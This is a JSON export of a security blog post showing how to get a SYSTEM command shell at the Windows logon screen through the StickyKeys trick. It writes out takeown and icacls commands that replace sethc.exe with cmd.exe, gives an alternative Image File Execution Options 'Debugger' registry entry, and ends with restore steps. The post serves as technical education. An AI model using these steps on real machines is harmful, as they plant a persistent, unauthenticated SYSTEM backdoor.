{"id":464,"date":"2014-11-07T21:28:11","date_gmt":"2014-11-08T02:28:11","guid":{"rendered":"http:\/\/adsecurity.org\/?p=464"},"modified":"2016-01-03T14:50:37","modified_gmt":"2016-01-03T19:50:37","slug":"the-ultimate-movie-hacking-tool-command-shell-at-windows-logon-screen","status":"publish","type":"post","link":"https:\/\/adsecurity.org\/?p=464","title":{"rendered":"The Ultimate Movie Hacking Tool &#8211; Command Shell at Windows Logon Screen (via &#8220;StickyKeys&#8221;)"},"content":{"rendered":"<p>How many times have you seen a movie where the &#8220;hacker&#8221; connects to a system with a logon screen, hits a couple of keys, and gets a command shell. Here&#8217;s how this can be done for real in Windows.<\/p>\n<p>The issue is that the Windows Ease of Use tools are accessible at the logon screen. Replacing the valid command(s) with a copy of cmd.exe provides a hidden command shell when pressing the right key combo (for example, pressing shift over and over again for &#8220;sticky keys&#8221;).<\/p>\n<p>Here&#8217;s how to &#8220;hack the Windows logon screen&#8221; using an existing logged in privileged account.<\/p>\n<p>Open a command prompt in Windows as an administrator and run the following commands:<\/p>\n<blockquote><p>cd\\<br \/>\ncd windows\\system32<\/p>\n<p>icacls c:\\windows\\system32\\sethc.exe \/save c:\\windows\\system32\\sethc.ACLFile \/T<br \/>\ntakeown \/f sethc.exe<br \/>\nicacls sethc.exe \/grant administrators:f<\/p>\n<p>icacls c:\\windows\\system32\\cmd.exe \/save c:\\windows\\system32\\cmd.ACLFile \/T<br \/>\ntakeown \/f cmd.exe<br \/>\nicacls cmd.exe \/grant administrators:f<\/p>\n<p>copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\sethcexe.BAK<br \/>\ncopy c:\\windows\\system32\\cmd.exe c:\\windows\\system32\\sethc.exe<\/p><\/blockquote>\n<p>Note that this can also be set via a registry enttry:<\/p>\n<blockquote><p>Open Regedit and browse to:\u00a0 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options<br \/>\nCreate a new key called &#8220;sethc.exe&#8221;<br \/>\nUnder this new key, create a new string value (REG_SZ) and call it &#8220;Debugger&#8221;<br \/>\nModify this value to be &#8220;C:\\windows\\system32\\cmd.exe&#8221;<\/p>\n<p><em>Note that the winlogon process will kill the cmd window invoked through this method after a short amount of time.<\/em><\/p><\/blockquote>\n<p>You can now open the command prompt by pressing the Shift key about 5 to 10 times at the logon screen to open command prompt as SYSTEM.<\/p>\n<div class=\"wp-playlist wp-video-playlist wp-playlist-light\">\n\t\t<video controls=\"controls\" preload=\"none\" width=\"801\"\n\t\t height=\"451\"\t><\/video>\n\t<div class=\"wp-playlist-next\"><\/div>\n\t<div class=\"wp-playlist-prev\"><\/div>\n\t<noscript>\n\t<ol>\n\t\t<li><a href='https:\/\/adsecurity.org\/wp-content\/uploads\/2014\/11\/WindowsEaseofUseLogonScreenHackVideo.mov'>WindowsEaseofUseLogonScreenHackVideo<\/a><\/li>\t<\/ol>\n\t<\/noscript>\n\t<script type=\"application\/json\" class=\"wp-playlist-script\">{\"type\":\"video\",\"tracklist\":true,\"tracknumbers\":true,\"images\":true,\"artists\":true,\"tracks\":[{\"src\":\"https:\/\/adsecurity.org\/wp-content\/uploads\/2014\/11\/WindowsEaseofUseLogonScreenHackVideo.mov\",\"type\":\"video\/quicktime\",\"title\":\"WindowsEaseofUseLogonScreenHackVideo\",\"caption\":\"\",\"description\":\"\",\"meta\":{\"length_formatted\":\"0:09\"},\"dimensions\":{\"original\":{\"width\":568,\"height\":320},\"resized\":{\"width\":801.3333333333333,\"height\":451}},\"image\":{\"src\":\"https:\/\/adsecurity.org\/wp-includes\/images\/media\/video.svg\",\"width\":48,\"height\":64},\"thumb\":{\"src\":\"https:\/\/adsecurity.org\/wp-includes\/images\/media\/video.svg\",\"width\":48,\"height\":64}}]}<\/script>\n<\/div>\n\t\n<p>To restore the files and permissions, open a command window as administrator and run the following:<\/p>\n<blockquote><p>copy c:\\windows\\system32\\sethcexe.BAK c:\\windows\\system32\\sethc.exe<\/p>\n<p>icacls c:\\windows\\system32\\sethc.exe \/restore c:\\windows\\system32\\sethc.ACLFile \/T<\/p>\n<p>icacls c:\\windows\\system32\\cmd.exe \/restore c:\\windows\\system32\\cmd.ACLFile \/T<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>How many times have you seen a movie where the &#8220;hacker&#8221; connects to a system with a logon screen, hits a couple of keys, and gets a command shell. Here&#8217;s how this can be done for real in Windows. The issue is that the Windows Ease of Use tools are accessible at the logon screen. &hellip; <\/p>\n<p><a class=\"more-link btn\" href=\"https:\/\/adsecurity.org\/?p=464\">Continue reading<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,2],"tags":[246,244,245],"class_list":["post-464","post","type-post","status-publish","format-standard","hentry","category-microsoft-security","category-technical-reference","tag-stickykeyshack","tag-windowseaseofusehack","tag-windowslogonscreenhack","item-wrap"],"_links":{"self":[{"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/posts\/464","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/adsecurity.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=464"}],"version-history":[{"count":6,"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/posts\/464\/revisions"}],"predecessor-version":[{"id":2463,"href":"https:\/\/adsecurity.org\/index.php?rest_route=\/wp\/v2\/posts\/464\/revisions\/2463"}],"wp:attachment":[{"href":"https:\/\/adsecurity.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=464"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/adsecurity.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=464"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/adsecurity.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=464"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}